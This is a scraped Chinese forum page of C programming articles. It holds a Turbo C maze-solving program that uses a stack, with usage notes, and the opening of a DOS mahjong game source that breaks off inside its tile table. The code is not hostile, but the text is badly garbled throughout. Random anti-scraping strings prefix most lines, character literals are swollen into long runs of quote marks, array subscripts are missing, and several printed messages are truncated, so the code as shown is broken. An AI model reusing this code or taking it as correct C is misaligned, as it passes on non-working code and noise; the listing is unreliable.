C语言技术文章

韩冰

<DIV  align=left>
! G+ L9 W. N5 p$ t3 w3 c9 k< align=left>程序目的：
! i  S4 |* W8 i& p, ?8 @% x输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
显示在屏幕上。
. M; w( L4 Y8 F! d9 z/ j9 }  O5 U, l程序实现：
4 F2 `8 q1 Y! M' G/ \可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
7 U5 ]& A- T" R文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
2 @( E& j% Q% u否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
5 U" A8 L* Y: J! A2 b$ W$ c! W* [找到路径时，屏幕下方会出现Path found，否则出现Path not found。
& X0 g/ J: X7 n程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
2 Z! L5 A6 g( q2 m/ c不可以在VC上编译。
8 m3 X2 M5 }* \& p/ K6 R/ C4 [下载DOS版和windows版的迷宫游戏全部代码
用户名：migong
----------------------------------------------------------------------------------
/*
MazePath Demo BY Turbo C 2.0
Copyright(c) RoverUnion. All right reserved.
; p/ V$ }4 E, I# I0 d) `% B4 H8 e1 MFilename: Maze.c
Author Dongchengyu.
' k' ^2 n0 k5 a0 H: aVer 1.10
: g# ^% Q& L8 s, N4 X! a+ Y1 v*/
" l7 z; H! y4 q9 l$ ]8 \. `#include &lt;stdio.h&gt;
8 t' m9 a; E8 N, m; T#include &lt;stdlib.h&gt;
' E& d2 j: U/ K#include &lt;malloc.h&gt;
#include &lt;conio.h&gt;
#include &lt;dos.h&gt;
+ n  F( u  U& Z! B2 ^% ~# [6 K#define OK 1
#define ERROR 0
#define TRUE 1
  Q) q7 O5 I# {" I: s6 L4 _#define FALSE 0
#define F9 0x43
9 x* g7 r0 |* w#define Esc 0x1b
8 B1 H2 x) S3 N7 f4 {#define Del 0x53
#define Home 0x47
#define End 0x4f
- ^) M4 |* G$ V. {#define Space 0x20
#define Up 0x48
#define Down 0x50
8 J8 u' h  p  h#define Left 0x4b
#define Right 0x4d
#define Enter 0x0d
#define F2 0x3c
#define F3 0x3d
#define STACK_INIT_SIZE 200
#define STACKINCREMENT 10
typedef int Boolean;
1 ?& ?' e5 y# {typedef int Status;
typedef struct {
int x;
int y;
# M" `+ s% v/ F! ^1 B} PosType;
' E. Q8 W# k% s( X& Utypedef struct {
int ord;
* G/ |6 p/ S7 i7 \* _! i, l; lPosType seat;
int di;
9 Y9 r0 {( g1 o} SElemType;
typedef struct {
6 m: ]) [# B) x+ x) Eint td;
7 p9 ^, j  ]. @7 c! Uint foot;
0 B' c: d% Q; s/ K+ h, jint mark;
} MazeType;
2 y8 J! _( v  R$ V1 xtypedef struct {
0 l0 k  H6 ]7 q5 U6 j1 V/ wSElemType *base;
# ^, b; X# D, x( k  G! mSElemType *top;
! P0 s  I& I- G# a, Mint stacksize;
} Stack;
int Maze[20][30];
MazeType maze[20][30];
PosType StartPlace;
PosType EndPlace;
int count;
int m,n;
Boolean b_start=FALSE,b_end=FALSE;
void CreatMaze(void);
" ?' J) @7 Q' g  \/ O: F( K& y6 aStatus SaveMaze(char *filename);
4 F7 Y' X6 @- `2 @Status LoadMaze(char *filename);
; l# P, K2 Q8 `; h/ ~void Error(char *message);
5 K4 Y9 L5 e& AStatus InitStack(Stack *s);
Status DestroyStack(Stack *s);
( |9 F$ l) I* IStatus ClearStack(Stack *s);
Boolean StackEmpty(Stack *s);
int StackLength(Stack *s);
2 z+ Q; T) H4 _8 e( `Status Push(Stack *s,SElemType e);
; P2 p# Q# W1 O" |SElemType Pop(Stack *s,SElemType e);
Status GetTop(Stack *s,SElemType *e);
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
Boolean Pass(PosType curpos);
) D- U# F0 d/ q6 `void MarkPrint(PosType seat);
' g; q3 @' F0 G6 Q  S( c) ]void FootPrint(PosType curpos);
PosType NextPos(PosType seat,int di);
Status MazePath(PosType start,PosType end);
; ]! Y9 [/ s+ U+ |  uvoid CreatMaze(void)
+ W3 O# f" T3 L: q% V  a% L' E6 [" n/* Form the maze. */
{
void Error(char *message);
6 y: Y+ ^8 N9 G. [% |8 ^Status SaveMaze(char *filename);
  ~+ ~- R" Q" [4 j  V3 IStatus LoadMaze(char *filename);
# ^  S" ]: U% A8 k, x6 m) r* E3 nint i,j;
int x,y;
char c;
/ w+ w* M& p& W* q$ `char savename[12],loadname[12];
' E- e, V' ]- bBoolean flag=FALSE,load=FALSE;
3 i- q5 r4 X" u1 K4 jclrscr();
printf("Menu:\n\n");
# l. J$ O; U0 F/ Lprintf("1.Load Mazefile*.dd)\n\n");
printf("2.Input Maze:\n\n");
/ F7 O+ l! i* d) yprintf("Input your choice: ");
do
* T% E7 r% g0 P{
c=getch();
switch(c)
{
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
  y) X- k% W$ @. F0 J  e( Lcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
( B' m2 C& Q. z4 u8 Pcase Esc: sleep(1); exit(1);
& B4 e4 ?* t8 W  W3 x3 Ndefault: break;
% H8 r, O& t9 {7 g" |}
}
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
: r3 m- G2 W# ^9 T$ I) s$ m1 ^, y! k{
printf("\n\nLoadName: ");
+ h+ e( l5 B3 Z) ~scanf("%s",loadname);
if(LoadMaze(loadname))
{
sleep(1); load=TRUE;
1 E, e- z7 J4 {4 Y4 c}
else { gotoxy(1,9); printf("Load fail! "); }
}
) e4 ~3 F- s9 d8 |* A- g7 |' ^# Pif(!load)
2 v: a$ h. {# I/ d; u{
8 v1 f) w+ X. q$ Z% k! m; v% Y% Uprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
4 R- L0 i; `/ b3 z) D% o1 P7 zprintf("\nInput Length :\n");
' e  {$ O5 k7 n( v. Mscanf("%d",&amp;m);
printf("\nInput Width :\n");
& k! t  I4 q6 Xscanf("%d",&amp;n);
if(m&lt;4||n&lt;4) Error("Input");
if(m&gt;30||n&gt;20) Error("Maze too large");
: `' y  m; i' q3 K- t! c' h6 E3 cfor(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
4 f) H# U. c4 n* v8 c) FMaze[j]=2;
StartPlace.x=0;
5 u( d" S" G) ZStartPlace.y=0;
- q  j$ i- w, h( MEndPlace.x=0;
EndPlace.y=0;
2 u/ I9 S$ @6 ?: ]clrscr();
; o! t1 D) O, c. \9 Mprintf("\n");
for(i=1;i&lt;=n;i++)
{
' w$ \- c" r5 ?; Y" R2 Nfor(j=1;j&lt;=m;j++)
; ^- F) z+ E5 H  T* }/ k. r3 G{
printf(" #");
Maze[i-1][j-1]=0;
}
6 z1 I/ w: t  a% Y3 l0 t# t$ r# sprintf("\n");
}
# y( a9 C4 g3 N. s8 t1 @}
gotoxy(65,5);
# Q( M( s6 P; L7 s0 {printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
7 ~  {* u8 L8 Cgotoxy(65,7);
printf("Start:Home");
gotoxy(65,9);
/ F. m2 {% Q; ?+ I% @6 V) {% wprintf("End:End");
gotoxy(65,11);
printf("Delete Wallel");
gotoxy(65,13);
printf("Enter Wall:Enter");
4 T/ s4 U+ ^/ a; {6 A* e* `. O) ^7 C8 h  {0 Xgotoxy(65,15);
5 T" G$ G- l2 ]0 d. Lprintf("Save Maze:F2");
gotoxy(65,17);
printf("Complete:F9");
( Q- e2 n, g- w/ |gotoxy(65,19);
+ D) a! h! }* Sprintf("Exit:Esc");
; M* F$ Z. S9 j3 ?( z) |* Mgotoxy(4,3);
x=4;y=3;
do
6 w( i$ r& B2 A) `{
3 D* C% W3 F! Kc=getch();
switch(c)
. k6 w3 u) z1 ^! J{
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
break;
case Down: if(y&lt;n) { y++; gotoxy(x,y); }
  [. t9 @$ v' D$ S+ z3 h9 Ubreak;
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
break;
1 m0 J$ ~7 P9 R; |  ^# i  v% [case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
, V4 R6 W: t' @6 ybreak;
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
3 L# c7 ], N5 |7 kif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
" |1 S4 `, V- D' Mputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
break;
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
* P/ Z5 r: S, l* A4 J$ Lif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
# H) Z. y0 ]! m/ Wputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
" F+ i0 m! v# ^: p: H. }, vbreak;
( T6 e7 y9 H' Vcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
{
! S" k% F! o! D/ L& c1 z; eStartPlace.x=x/2-1;
StartPlace.y=y-2;
+ [. m5 q% g( J$ t0 {4 Zputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
3 x2 z6 R2 d: y- ^& R' ~gotoxy(x,y);
b_start=TRUE;
# O# |# |& s  \: K5 a1 @1 S. O}
6 A- j- ]5 v( P- z/ Y5 Ybreak;
0 n  g. F1 G) K7 ~, r% e8 Mcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
{
EndPlace.x=x/2-1;
EndPlace.y=y-2;
1 }7 J  x  \. P1 ~! X/ eputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
( t- u, _! Q% w% f  |gotoxy(x,y);
& o8 J' C" X) kb_end=TRUE;
  p0 j& z0 B/ j; g}
" \! b0 R6 b) }! x* A6 G$ {break;
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
case F2: gotoxy(2,22);
$ A( N% ^! T) n9 T$ P+ w1 Cprintf("Savename:");
' p0 y$ [+ _! k. [6 Ascanf("%s",savename);
1 t  W' p' f  _+ z6 }gotoxy(2,22);
if(SaveMaze(savename)) printf("Save OK! ");
else printf("Save fail! ");
* H/ ]+ p# R0 d8 a0 Msleep(1);
gotoxy(2,22);
9 F: O4 D" [4 k! t+ @printf(" ");
gotoxy(x,y);
$ _( Q0 W2 ~, x7 [- M: L7 ]2 t% vbreak;
; Q0 b0 o+ n( [default: break;
}
}
while(!flag);
for(i=0;i&lt;30;i++)
. @8 O- n! T& U5 R5 Pfor(j=0;j&lt;20;j++)
1 u) [, ]$ v$ D{
9 s' G# R1 X, Ymaze[j].td=Maze[j];
maze[j].mark=0;
maze[j].foot=0;
" R- d# F) w8 C}
! u0 D9 H1 o4 Y" B}
: d4 x% s$ O, ?/ [5 R7 TStatus LoadMaze(char *file)
1 c& q  G4 `6 Q3 M/* The maze has been loaded. */
{
  S& Z, }' k& Z1 O# xFILE *fp;
char *buffer;
char ch;
int i=0,j,k;
" i% A7 ~  i0 i& r2 G* ZBoolean len=FALSE,wid=FALSE;
/ R8 ]' e) S/ O5 b  V2 v/ [if((fp=fopen(file,"r"))==NULL)
+ v& f7 p6 ~9 @# f& v; B! v( areturn ERROR;
9 Q9 o) B; W1 X, {* nbuffer=(char *)malloc(600*sizeof(char));
ch=fgetc(fp);
while(ch!=EOF)
+ z7 d! A7 ^/ F: B, k{
buffer=ch;
i++;
ch=fgetc(fp);
% S, K0 z) p  d! e, N" L, P}
m=30;n=20;
* K; p3 k/ z4 t' e9 Q. R, W- Hfor(i=0;i&lt;600;i++)
1 l- u9 }1 e2 _/ p$ U5 K, q{
+ m+ g: L2 W" Fj=i/30; k=i%30;
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
+ j2 ^* K" w0 N( P+ c; Cif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
switch(buffer)
{
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
* o! z* h  k" ]+ K! e) icase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
# w( t5 _+ }5 C' f* yStartPlace.x=k;
StartPlace.y=j;
b_start=TRUE;
( [6 S, L5 l0 L; i6 A+ jbreak;
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
/ k" l1 {& [! ^3 m! x& b" z8 j9 YEndPlace.x=k;
EndPlace.y=j;
b_end=TRUE;
' F& _# X8 O0 U% G8 u1 ^' ebreak;
3 f3 n3 {+ _- D2 m1 m6 K( ~default : break;
}
# }# o3 I, {$ t7 L7 w}
6 F, W" J1 Q' {" m7 U0 R6 a1 efclose(fp);
" T" ^9 c1 k/ o( x" }% Rclrscr();
2 g, n# G: U$ `5 O4 Kfor(i=0;i&lt;30;i++)
9 D: s9 {6 y% {0 @# L: ]for(j=0;j&lt;20;j++)
1 M! e; S8 q8 ?9 T3 _" r4 J{
maze[j].td=Maze[j];
maze[j].foot=0;
7 ?: m, i& y- L) \" h3 Y9 M- u3 xmaze[j].mark=0;
if(Maze[j]==0)
" a3 H& W, f+ |: J. t7 {{
2 C5 _, W, z( n0 Ggotoxy(2*i+2,j+2);
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
% g: \9 P3 g. g! h: [}
}
; u: i0 D/ S3 p$ ?% A5 C$ [gotoxy(2*StartPlace.x+2,StartPlace.y+2);
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
- N0 q! V& h2 T) x% cputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
' x6 V! _, a7 G4 ?return OK;
}
Status SaveMaze(char *filename)
3 p( D1 k  C% B& z/* The maze has been saved. */
/ `! G& h( \7 u/ z7 K{
FILE *fp;
char *buffer;
3 O" s: I4 h+ F& Q0 hint i,j,k;
, D, t; q8 S; K1 Dfp=fopen(filename,"wb");
buffer=(char *)malloc(600*sizeof(char));
7 o$ i# s: l: {, _% _for(i=0;i&lt;600;i++)
* I% S5 a5 l. U{
  @% K& d$ J! o  X: Q5 Mj=i/30; k=i%30;
switch(Maze[j][k])
{
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
  e7 r0 E) ~) ddefault : Error("Write"); break;
% d' ~+ q/ l+ v/ u8 Z0 F" ]# y- B* e}
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
}
fwrite(buffer,600,1,fp);
2 P2 L- i/ I+ V' Efree(buffer);
; X  P; }9 J; r  s; e6 n( qfclose(fp);
( k" Z* ?+ G. D# D. ?4 K6 K1 ]* g& {return OK;
}
void Error(char *message)
& Z, X. a6 V/ m" h: s- ]6 P& H{
+ y1 D% r; v# X" ~  f% L) rclrscr();
& x1 Y, L, @/ q1 q8 Efprintf(stderr,"Error:%s\n",message);
exit(1);
} /* Error */
7 t% F! @' i7 S$ \) f# I& [
Status InitStack(Stack *s)
/* The stack s has been created and is initialized to be empty. */
" G. {! e+ ^  o* E3 s: b* C{
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
1 b/ c' h3 v+ ~) Zif(!s-&gt;base) Error("Overflow");
s-&gt;top=s-&gt;base;
, S0 k6 F: s! |1 f7 a0 Z0 t/ ~s-&gt;stacksize=STACK_INIT_SIZE;
return OK;
4 ?* U! e7 `/ B& |} /* InitStack */
Status DestroyStack(Stack *s)
/* The stack s has been destroyed. */
{
s-&gt;top=NULL;
s-&gt;stacksize=0;
1 K" l6 Y* @- @6 @3 zfree(s-&gt;base);
s-&gt;base=NULL;
return OK;
} /* DestroyStack */
6 y+ J/ ?! t3 f, b# n- C8 \8 C2 ?Status ClearStack(Stack *s)
% Y8 O$ G: g# M: F$ b3 Q/* The stack has been clear to be maximum. */
{
s-&gt;top=s-&gt;base;
s-&gt;stacksize=STACK_INIT_SIZE;
- s8 Q% p4 N/ Oreturn OK;
- p8 Z/ F7 d1 I& b  o6 N8 H} /* ClearStack */
Boolean StackEmpty(Stack *s)
; A8 K! L/ a4 M( S3 D) l3 l9 H/* Check if the stack s is empty. */
$ T/ ]! p, \5 l, R+ H  R: }& S{
" W. ?  F7 u; \$ B( E3 Sif(s-&gt;top==s-&gt;base) return TRUE;
else return FALSE;
} /* StackEmpty */
/ F. W. U3 v/ i/ j; i) _int StackLength(Stack *s)
2 a/ @+ s$ ?( j  F- }# b/* Gain the length of the stack s. */
{
5 v) Y; C- w- E6 U  l7 kif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
else return 0;
} /* StackLength */
Status Push(Stack *s,SElemType e)
/* The element e has been pushed into the stack s. */
{
1 F) @! Z5 K/ y' qif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
9 d) @; |7 T" s/ ^5 _) A6 p{
s-&gt;base=(SElemType *)realloc(s-&gt;base,
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
/ G& `3 T) m- q0 ]if(!s-&gt;base) Error("Overflow");
s-&gt;top=s-&gt;base+s-&gt;stacksize;
+ e; g! q4 ^% C3 ~% a0 a8 U5 p' `s-&gt;stacksize+=STACKINCREMENT;
, ?8 u2 J/ {" K0 Q9 C}
*s-&gt;top++=e;
return OK;
; _; k- n* ]% R) U4 A0 _} /* Push */
4 Q; P7 n+ H, v0 y- zSElemType Pop(Stack *s,SElemType e)
( t3 |7 C) |: ~/ ?6 N/* The element e has been removed from the stack s. */
9 Q  `0 Q# {# E* m; Z' l4 E{
) r8 v2 @, X8 h  C2 s$ jif(s-&gt;top==s-&gt;base) Error("op");
( X+ {1 }0 \' Z# [3 k5 C( X6 F6 Ve=*--s-&gt;top;
1 X# p4 \# u7 C, Preturn e;
} /* Pop */
Status GetTop(Stack *s,SElemType *e)
/* The element e has got to the top of the stack s.*/
{
7 ]' B( t6 g6 y; U+ G3 W6 Tif(s-&gt;top==s-&gt;base) Error("GetTop");
*e=*(s-&gt;top-1);
" m( V/ e3 [8 b- ureturn OK;
2 Z4 b- {$ q/ _$ k- ]; e" X0 `} /* GetTop */
( `7 o0 I; [* ]' p3 B/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
( ?9 b2 B' O% e' Y" O( `- v7 ?/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
{
2 e. F7 C: i4 z% iSElemType p;
! U2 J1 v$ V/ |/ hint result;
+ V8 ?8 n; @. j" N7 F3 X: ~if(s-&gt;top==s-&gt;base) return ERROR;
p=s-&gt;base;
while(!(p==s-&gt;top))
8 g; c& Z: t& K6 G; h4 ~: O{
result=(*visit)(p);
p++;
$ Q9 f5 g- s# l+ e/ V}
: U9 e* X6 W2 V! h% g: creturn OK;
! b' _6 G% S7 w) Q} */
Boolean Pass(PosType curpos)
# [& m2 j9 F2 W/* Check if the current position can be passed. */
{
2 z  }4 S2 `7 _7 qif(maze[curpos.x][curpos.y].td==1&amp;&amp;
  s) t$ D7 `3 ]. c9 umaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
return TRUE;
else return FALSE;
, k7 w/ N# k* N} /* Pass */
, E. B1 r) @$ r5 Mvoid MarkPrint(PosType seat)
/* Mark the position seat. */
. `# ]8 k) @: R. Q& e8 Y2 w$ e: Q{
maze[seat.x][seat.y].mark=-1;
" P: W6 M4 ]2 j- v9 j# E/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
; t7 g+ U* x( ]6 U4 u} /* MarkPrint */
void FootPrint(PosType curpos)
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
( Z) i/ ?: U% ]% u+ b" i$ _{
maze[curpos.x][curpos.y].foot=1;
} /* FootPrint */
9 E& d' s* X# ~5 S5 H2 J  i( l$ l6 RPosType NextPos(PosType seat,int di)
{
5 E. T# w5 i2 {! J/ o/ B1 zswitch(di)
: Y: p) Y+ `. H( u! W0 i{
1 ^" W' G/ s, n8 Acase 1: seat.y++; return seat; /* Eastward */
case 2: seat.x++; return seat; /* Southward */
case 3: seat.y--; return seat; /* Westward */
case 4: seat.x--; return seat; /* Northward */
default: seat.x=0; seat.y=0; return seat;
}
; d3 m, A/ V6 d$ ?+ w, L% P- [& o9 u} /* NextPos */
: L& `) Z; _$ Z6 D& m  l! _
+ Y( b0 \" y8 N) _4 ?9 z/* The key to the program. */
/* Pre: The maze array &amp; the startplace &amp; the endplace.
, n/ e. l$ Y8 E5 ]Post: Find the one traverse of the maze and perform the mazepath.
* `- d) {/ {4 S* B" u0 T+ @; QUses: The ADT stack class.
*/
Status MazePath(PosType start,PosType end)
! |; f4 C4 Z- a) g+ b7 g{
PosType curpos;
int curstep;
+ r7 u$ \" C, Y# ~/ tSElemType e;
Stack *s,stack;
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!stack.base) Error("Overflow");
% m3 G8 w# B' I8 X& pstack.top=stack.base;
stack.stacksize=STACK_INIT_SIZE;
s=&amp;stack;
7 d  `3 ?4 \* ~7 Icurpos=start;
curstep=1;
do
{
if(Pass(curpos))
{
2 L1 ^( j. I) _& \9 m' LFootPrint(curpos);
: P% m6 @4 X: }* N- w' [( Xe.ord=curstep; e.seat=curpos; e.di=1;
* I" k" T2 z/ j( ]9 G9 ugotoxy((curpos.y+1)*2,curpos.x+2);
. y, D+ B. d: jputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
" ?- Q* o0 F, p2 O# n5 \+ Tdelay(8000); /* pospone time. */
( w3 o+ p& x, B& NPush(s,e);
3 l+ ^7 {1 r" x' y8 sif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
{
DestroyStack(s);
# m  W9 i# [2 d! `8 n; ureturn TRUE;
}
( e$ e& c' E1 _; H+ `curpos=NextPos(curpos,1); /* Try next position. */
. O/ b; F6 x* x; ?5 i. M. Tcurstep++;
' |6 f& b% m/ }; z}
4 I/ Z1 _" B( y9 q% K4 ]3 welse
{
if(!StackEmpty(s))
# M  ]& g- u4 R8 X: [" G- ]{
e=Pop(s,e); /* Removed e from s. */
2 c* Q+ h2 h$ z! E% j: J* y8 Cwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
and s is not empty. */
{
MarkPrint(e.seat);
, J+ e1 g, k3 `% h% fgotoxy((e.seat.y+1)*2,e.seat.x+2);
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
delay(8000); /* Pospone time. */
gotoxy((e.seat.y+1)*2,e.seat.x+2);
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
1 |( A. I/ a  w8 E' S, U1 pe=Pop(s,e); /* Remove e from s. */
curstep--;
2 E& u; w) F1 a6 z}
if(e.di&lt;4) /* The current position hasnot been checked. */
{
2 |. g4 _1 V, T! p0 ae.di++;
7 Q* O) Z* N; j3 g8 {  T2 ePush(s,e); /* Insert e into s. */
1 ^! W  y% w, x/ Qcurpos=NextPos(e.seat,e.di); /* Try next position. */
) i8 d4 g! b* h' R" |}
! ~0 Q. z, }) k7 u# [6 T9 T}
}
) }+ W) M2 H! ?& H$ e}
while(!StackEmpty(s));
DestroyStack(s);
return FALSE;
} /* MazePath */
+ z3 y  ^% V0 z+ F1 M8 Fvoid main()
{
PosType start,end;
: C% P  h8 I$ j6 T3 t- l6 F; nCreatMaze();
start.x=StartPlace.y;
3 v3 S/ @) p- `! dstart.y=StartPlace.x;
end.x=EndPlace.y;
end.y=EndPlace.x;
) A  ^+ T) Y8 C# kif(MazePath(start,end))
{
gotoxy(2,22);
printf("ath found\n");
. ^+ ~/ f, z5 _2 D# V# E}
7 o3 M) \  f$ l+ n; `. ^else
, K5 D0 g8 r. l: Q2 m& I{
( W6 M9 s! R% E* lgotoxy(2,22);
8 f+ t' f" J( Z1 }% Q0 B. a/ mprintf("ath not found\n");
}
getch();
clrscr();
} </P></DIV>

韩冰

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
  c# j( j4 O6 N, N0 n& |/*天宇软件
* A! D9 u8 V6 w; g作者：上海黑暗之龙
2002/10/30
麻将原代码*/
#include "dos.h"
$ S1 ]! V8 a$ U: B1 l; O#include "stdio.h"
  ~% J. d- X1 J% h' H#include "graphics.h"
#include "bios.h"
" R8 [0 g. n- `#include "conio.h"
#include "stdlib.h"
unsigned char far *video_buffer=(char far *)0xA0000000L;
; L( D2 ?" v" U6 H* K#define VGA256 0x13 /*图形模式13h*/
#define TEXT_MODE 0x03 /*普通文本模式*/
#define SETVGA Set_Video_Mode(VGA256)
% D; V9 p. ]* u$ l* |#define OUTVGA Set_Video_Mode(TEXT_MODE)
#define BYTE unsigned char
#define WORD unsigned int
2 L& ^5 d4 z( b+ Z8 Q0 B% B" {#define DWORD unsigned int
  }( m! D8 `/ o8 v#define ESC 283
#define LEFT 19200
#define RIGHT 19712
#define H 9064
#define ENTER 7181
  s! c- H( q4 M. punsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
- {# `3 w# }3 \5 Ostruct chi
' a" g1 F* o& c9 Y7 [{
2 @3 t( f' d- o, `  H% @. [9 Lint lg;
int lgg;
}ch[13];
struct mj
{ char *name; /*名字*/
int data1; /*是否已出，无用了*/
int data2; /*是否在手中，1为自己，2为对方*/
int number; /*同一个花色的第几张，共4张*/
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
9 v7 v# \7 i# h+ K3 |5 y"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
  \: X" U- T/ `! {, t+ }1 ~"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
. O1 M; m: Q# C. `0 @"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
) X. H4 t2 k3 ~7 T7 O' b6 s1 h"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
$ v! @$ n& T* n9 B" Y; W8 d"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
7 d2 I3 \+ c: g+ g; @! Q"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
/ H( e5 f) H+ H4 v2 ?5 q"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
0 |. Q/ f6 y+ X"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
